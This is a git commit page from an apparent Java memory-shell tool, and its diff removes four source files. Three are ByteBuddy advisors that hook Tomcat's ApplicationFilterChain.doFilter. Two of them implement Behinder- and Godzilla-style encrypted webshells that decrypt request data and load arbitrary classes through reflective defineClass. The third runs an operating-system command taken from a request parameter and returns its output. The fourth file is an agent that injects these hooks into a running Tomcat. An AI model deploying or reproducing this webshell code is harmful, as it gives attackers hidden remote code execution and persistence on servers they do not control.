feat: tomcat agent support jdk6

This commit is contained in:
ReaJason
2025-01-03 02:16:51 +08:00
parent b694073f33
commit 2b34b80e40
10 changed files with 86 additions and 74 deletions
@@ -1,71 +0,0 @@
package com.reajason.javaweb.memshell.tomcat.behinder;
import net.bytebuddy.asm.Advice;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
*/
public class TomcatFilterChainBehinderAdvisor {
public static String pass;
public static String headerName;
public static String headerValue;
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) ServletRequest req,
@Advice.Argument(value = 1) ServletResponse res
) {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField("response");
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
response = (HttpServletResponse) field.get(obj);
}
obj.put("response", response);
obj.put("session", session);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
Object instance = payload.newInstance();
instance.equals(obj);
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,40 +0,0 @@
package com.reajason.javaweb.memshell.tomcat.command;
import net.bytebuddy.asm.Advice;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
/**
* @author ReaJason
*/
public class TomcatFilterChainCommandAdvisor {
public static String paramName;
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) ServletRequest request,
@Advice.Argument(value = 1) ServletResponse response
) {
System.out.println(paramName);
String cmd = request.getParameter(paramName);
try {
if (cmd != null) {
System.out.println(cmd);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception ignored) {
}
return false;
}
}
@@ -1,72 +0,0 @@
package com.reajason.javaweb.memshell.tomcat.godzilla;
import net.bytebuddy.asm.Advice;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.Base64;
/**
* @author ReaJason
*/
public class TomcatFilterChainGodzillaAdvisor {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) ServletRequest req,
@Advice.Argument(value = 1) ServletResponse res
) {
if (!(req instanceof HttpServletRequest)) {
return false;
}
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
String parameter = request.getParameter(pass);
byte[] data = Base64.getDecoder().decode(parameter);
Cipher c = Cipher.getInstance("AES");
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
c.init(2, keySpec);
data = c.doFinal(data);
if (session.getAttribute("payload") == null) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
session.setAttribute("payload", payload);
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
c.init(1, keySpec);
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
String value = Base64.getEncoder().encodeToString(encryptBytes);
response.getWriter().write(value);
response.getWriter().write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,46 +0,0 @@
package com.reajason.javaweb.memshell.tomcat.injector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.matcher.ElementMatchers;
import java.lang.instrument.Instrumentation;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class TomcatFilterChainAgentInjector {
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
Class<?> interceptorClass = Class.forName(getClassName());
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
.transform(
(builder, typeDescription, classLoader,
module, protectionDomain) ->
builder.visit(Advice.to(interceptorClass).on(named("doFilter")))
)
.installOn(inst);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
}